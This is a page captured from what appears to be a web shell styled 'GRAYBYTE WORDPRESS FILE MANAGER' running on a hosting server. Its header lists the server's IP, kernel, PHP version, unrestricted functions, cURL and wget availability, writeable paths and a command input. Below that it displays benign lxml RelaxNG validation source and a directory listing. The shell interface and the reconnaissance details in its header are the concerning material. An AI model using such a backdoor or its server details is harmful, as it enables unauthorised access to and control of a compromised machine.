GRAYBYTE WORDPRESS FILE MANAGER1483

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/imunify360/venv/lib/python3.11/site-packages/lxml/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/imunify360/venv/lib/python3.11/site-packages/lxml//relaxng.pxi
# support for RelaxNG validation
from lxml.includes cimport relaxng

cdef object _rnc2rng
try:
    import rnc2rng as _rnc2rng
except ImportError:
    _rnc2rng = None


cdef int _require_rnc2rng() except -1:
    if _rnc2rng is None:
        raise RelaxNGParseError(
            'compact syntax not supported (please install rnc2rng)')
    return 0


cdef class RelaxNGError(LxmlError):
    """Base class for RelaxNG errors.
    """

cdef class RelaxNGParseError(RelaxNGError):
    """Error while parsing an XML document as RelaxNG.
    """

cdef class RelaxNGValidateError(RelaxNGError):
    """Error while validating an XML document with a RelaxNG schema.
    """


################################################################################
# RelaxNG

cdef class RelaxNG(_Validator):
    u"""RelaxNG(self, etree=None, file=None)
    Turn a document into a Relax NG validator.

    Either pass a schema as Element or ElementTree, or pass a file or
    filename through the ``file`` keyword argument.
    """
    cdef relaxng.xmlRelaxNG* _c_schema
    def __cinit__(self):
        self._c_schema = NULL

    def __init__(self, etree=None, *, file=None):
        cdef _Document doc
        cdef _Element root_node
        cdef xmlDoc* fake_c_doc = NULL
        cdef relaxng.xmlRelaxNGParserCtxt* parser_ctxt = NULL
        _Validator.__init__(self)
        if etree is not None:
            doc = _documentOrRaise(etree)
            root_node = _rootNodeOrRaise(etree)
            fake_c_doc = _fakeRootDoc(doc._c_doc, root_node._c_node)
            parser_ctxt = relaxng.xmlRelaxNGNewDocParserCtxt(fake_c_doc)
        elif file is not None:
            if _isString(file):
                if file[-4:].lower() == '.rnc':
                    _require_rnc2rng()
                    rng_data_utf8 = _utf8(_rnc2rng.dumps(_rnc2rng.load(file)))
                    doc = _parseMemoryDocument(rng_data_utf8, parser=None, url=file)
                    parser_ctxt = relaxng.xmlRelaxNGNewDocParserCtxt(doc._c_doc)
                else:
                    doc = None
                    filename = _encodeFilename(file)
                    with self._error_log:
                        orig_loader = _register_document_loader()
                        parser_ctxt = relaxng.xmlRelaxNGNewParserCtxt(_cstr(filename))
                        _reset_document_loader(orig_loader)
            elif (_getFilenameForFile(file) or '')[-4:].lower() == '.rnc':
                _require_rnc2rng()
                rng_data_utf8 = _utf8(_rnc2rng.dumps(_rnc2rng.load(file)))
                doc = _parseMemoryDocument(
                    rng_data_utf8, parser=None, url=_getFilenameForFile(file))
                parser_ctxt = relaxng.xmlRelaxNGNewDocParserCtxt(doc._c_doc)
            else:
                doc = _parseDocument(file, parser=None, base_url=None)
                parser_ctxt = relaxng.xmlRelaxNGNewDocParserCtxt(doc._c_doc)
        else:
            raise RelaxNGParseError, u"No tree or file given"

        if parser_ctxt is NULL:
            if fake_c_doc is not NULL:
                _destroyFakeDoc(doc._c_doc, fake_c_doc)
            raise RelaxNGParseError(
                self._error_log._buildExceptionMessage(
                    u"Document is not parsable as Relax NG"),
                self._error_log)

        relaxng.xmlRelaxNGSetParserStructuredErrors(
            parser_ctxt, _receiveError, <void*>self._error_log)
        _connectGenericErrorLog(self._error_log, xmlerror.XML_FROM_RELAXNGP)
        self._c_schema = relaxng.xmlRelaxNGParse(parser_ctxt)
        _connectGenericErrorLog(None)

        relaxng.xmlRelaxNGFreeParserCtxt(parser_ctxt)
        if self._c_schema is NULL:
            if fake_c_doc is not NULL:
                _destroyFakeDoc(doc._c_doc, fake_c_doc)
            raise RelaxNGParseError(
                self._error_log._buildExceptionMessage(
                    u"Document is not valid Relax NG"),
                self._error_log)
        if fake_c_doc is not NULL:
            _destroyFakeDoc(doc._c_doc, fake_c_doc)

    def __dealloc__(self):
        relaxng.xmlRelaxNGFree(self._c_schema)

    def __call__(self, etree):
        u"""__call__(self, etree)

        Validate doc using Relax NG.

        Returns true if document is valid, false if not."""
        cdef _Document doc
        cdef _Element root_node
        cdef xmlDoc* c_doc
        cdef relaxng.xmlRelaxNGValidCtxt* valid_ctxt
        cdef int ret

        assert self._c_schema is not NULL, "RelaxNG instance not initialised"
        doc = _documentOrRaise(etree)
        root_node = _rootNodeOrRaise(etree)

        valid_ctxt = relaxng.xmlRelaxNGNewValidCtxt(self._c_schema)
        if valid_ctxt is NULL:
            raise MemoryError()

        try:
            self._error_log.clear()
            relaxng.xmlRelaxNGSetValidStructuredErrors(
                valid_ctxt, _receiveError, <void*>self._error_log)
            _connectGenericErrorLog(self._error_log, xmlerror.XML_FROM_RELAXNGV)
            c_doc = _fakeRootDoc(doc._c_doc, root_node._c_node)
            with nogil:
                ret = relaxng.xmlRelaxNGValidateDoc(valid_ctxt, c_doc)
            _destroyFakeDoc(doc._c_doc, c_doc)
        finally:
            _connectGenericErrorLog(None)
            relaxng.xmlRelaxNGFreeValidCtxt(valid_ctxt)

        if ret == -1:
            raise RelaxNGValidateError(
                u"Internal error in Relax NG validation",
                self._error_log)
        if ret == 0:
            return True
        else:
            return False

    @classmethod
    def from_rnc_string(cls, src, base_url=None):
        """Parse a RelaxNG schema in compact syntax from a text string

        Requires the rnc2rng package to be installed.

        Passing the source URL or file path of the source as 'base_url'
        will enable resolving resource references relative to the source.
        """
        _require_rnc2rng()
        rng_str = utf8(_rnc2rng.dumps(_rnc2rng.loads(src)))
        return cls(_parseMemoryDocument(rng_str, parser=None, url=base_url))

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 11 2025 07:53:06
root / root
0755
__pycache__
--
July 02 2025 08:36:55
root / root
0755
html
--
July 02 2025 08:36:55
root / root
0755
includes
--
July 02 2025 08:36:55
root / root
0755
isoschematron
--
July 02 2025 08:36:55
root / root
0755
ElementInclude.py
8.359 KB
June 09 2025 11:12:39
root / root
0644
__init__.py
0.562 KB
June 09 2025 11:12:39
root / root
0644
_elementpath.cpython-311-x86_64-linux-gnu.so
225.273 KB
June 09 2025 11:13:05
root / root
0755
_elementpath.py
10.49 KB
June 09 2025 11:12:39
root / root
0644
apihelpers.pxi
62.941 KB
June 09 2025 11:12:39
root / root
0644
builder.cpython-311-x86_64-linux-gnu.so
120.727 KB
June 09 2025 11:13:05
root / root
0755
builder.py
7.956 KB
June 09 2025 11:12:39
root / root
0644
classlookup.pxi
21.936 KB
June 09 2025 11:12:39
root / root
0644
cleanup.pxi
8.26 KB
June 09 2025 11:12:39
root / root
0644
cssselect.py
3.287 KB
June 09 2025 11:12:39
root / root
0644
debug.pxi
3.206 KB
June 09 2025 11:12:39
root / root
0644
docloader.pxi
5.647 KB
June 09 2025 11:12:39
root / root
0644
doctestcompare.py
17.909 KB
June 09 2025 11:12:39
root / root
0644
dtd.pxi
14.862 KB
June 09 2025 11:12:39
root / root
0644
etree.cpython-311-x86_64-linux-gnu.so
5.53 MB
June 09 2025 11:13:05
root / root
0755
etree.h
8.374 KB
June 09 2025 11:12:39
root / root
0644
etree.pyx
129.312 KB
June 09 2025 11:12:39
root / root
0644
etree_api.h
17.058 KB
June 09 2025 11:12:39
root / root
0644
extensions.pxi
32.462 KB
June 09 2025 11:12:39
root / root
0644
iterparse.pxi
16.218 KB
June 09 2025 11:12:39
root / root
0644
lxml.etree.h
8.374 KB
June 09 2025 11:12:39
root / root
0644
lxml.etree_api.h
17.063 KB
June 09 2025 11:12:39
root / root
0644
nsclasses.pxi
8.931 KB
June 09 2025 11:12:39
root / root
0644
objectify.cpython-311-x86_64-linux-gnu.so
3.2 MB
June 09 2025 11:13:05
root / root
0755
objectify.pyx
75.293 KB
June 09 2025 11:12:39
root / root
0644
objectpath.pxi
11.21 KB
June 09 2025 11:12:39
root / root
0644
parser.pxi
76.413 KB
June 09 2025 11:12:39
root / root
0644
parsertarget.pxi
6.698 KB
June 09 2025 11:12:39
root / root
0644
proxy.pxi
23.01 KB
June 09 2025 11:12:39
root / root
0644
public-api.pxi
6.504 KB
June 09 2025 11:12:39
root / root
0644
pyclasslookup.py
0.09 KB
June 09 2025 11:12:39
root / root
0644
readonlytree.pxi
18.602 KB
June 09 2025 11:12:39
root / root
0644
relaxng.pxi
5.942 KB
June 09 2025 11:12:39
root / root
0644
sax.cpython-311-x86_64-linux-gnu.so
196.953 KB
June 09 2025 11:13:05
root / root
0755
sax.py
9.176 KB
June 09 2025 11:12:39
root / root
0644
saxparser.pxi
31.779 KB
June 09 2025 11:12:39
root / root
0644
schematron.pxi
5.646 KB
June 09 2025 11:12:39
root / root
0644
serializer.pxi
66.405 KB
June 09 2025 11:12:39
root / root
0644
usedoctest.py
0.225 KB
June 09 2025 11:12:39
root / root
0644
xinclude.pxi
2.402 KB
June 09 2025 11:12:39
root / root
0644
xmlerror.pxi
48.37 KB
June 09 2025 11:12:39
root / root
0644
xmlid.pxi
5.922 KB
June 09 2025 11:12:39
root / root
0644
xmlschema.pxi
7.89 KB
June 09 2025 11:12:39
root / root
0644
xpath.pxi
19.112 KB
June 09 2025 11:12:39
root / root
0644
xslt.pxi
35.834 KB
June 09 2025 11:12:39
root / root
0644
xsltext.pxi
10.825 KB
June 09 2025 11:12:39
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF